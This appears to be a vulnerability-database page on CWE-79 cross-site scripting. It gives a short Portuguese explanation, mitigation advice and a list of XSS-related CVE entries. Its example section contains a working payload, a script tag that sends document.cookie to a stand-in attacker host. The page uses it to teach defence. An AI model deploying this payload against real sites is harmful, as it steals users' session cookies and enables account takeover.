Fallos del tipo CWE-79

28.650 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-45644HIGHMicrosoft Live Share Canvas SDK Elevation of Privilege VulnerabilityEPSS 0.8%CVE-2020-5278MEDIUMReflected XSS on Exception page of PrestaShopEPSS 0.8%CVE-2025-40726MEDIUMCross-Site Scripting (XSS) reflected in NostoEPSS 0.8%CVE-2020-29497MEDIUMDell Wyse Management Suite versions prior to 3.1 contain a stored cross-site scripting vulnerability. A remote authenticated malicious user EPSS 0.8%CVE-2025-40727MEDIUMReflected Cross-Site Scripting (XSS) in Phoenix CMSEPSS 0.8%CVE-2018-11450—A reflected Cross-Site-Scripting (XSS) vulnerability has been identified in Siemens PLM Software TEAMCENTER (V9.1.2.5). If a user visits theEPSS 0.8%CVE-2021-25969MEDIUMCamaleon CMS - Stored Cross-Site Scripting (XSS) in CommentsEPSS 0.8%CVE-2008-1299MEDIUMCross-site scripting (XSS) vulnerability in SolutionSearch.do in ManageEngine ServiceDesk Plus 7.0.0 Build 7011 for Windows allows remote atEPSS 0.8%CVE-2022-25617MEDIUMWordPress Code Snippets plugin <= 2.14.3 - Reflected Cross-Site Scripting (XSS) vulnerabilityEPSS 0.8%CVE-2023-33731MEDIUMReflected Cross Site Scripting (XSS) in the view dashboard detail feature in Microworld Technologies eScan management console 14.0.1400.2281EPSS 0.8%CVE-2022-43487MEDIUMCross-site scripting vulnerability in Salon booking system versions prior to 7.9 allows a remote unauthenticated attacker to inject an arbitEPSS 0.8%CVE-2021-31355HIGHJunos OS: Stored Cross-Site Scripting (XSS) vulnerability in captive portalEPSS 0.8%CVE-2021-31373HIGHJunos OS: SRX Series: Persistent XSS vulnerability in J-WebEPSS 0.8%CVE-2021-41258HIGHCross-site scripting (XSS) from image block content in the site frontendEPSS 0.8%CVE-2022-40348MEDIUMCross Site Scripting (XSS) vulnerability in Intern Record System version 1.0 in /intern/controller.php in 'name' and 'email' parameters, allEPSS 0.8%CVE-2022-35229LOWReflected XSS in discovery page of Zabbix FrontendEPSS 0.8%CVE-2023-26487MEDIUMVega has cross-site scripting vulnerability in `lassoAppend` functionEPSS 0.8%CVE-2024-48392MEDIUMOrangeScrum v2.0.11 is vulnerable to Cross Site Scripting (XSS). An attacker can inject malicious JavaScript code into user email due to lacEPSS 0.8%CVE-2025-4860MEDIUMD-Link DAP-2695 Static Pool Settings Page adv_dhcps.php cross site scriptingEPSS 0.8%CVE-2016-9605MEDIUMA flaw was found in cobbler software component version 2.6.11-1. It suffers from an invalid parameter validation vulnerability, leading the EPSS 0.8%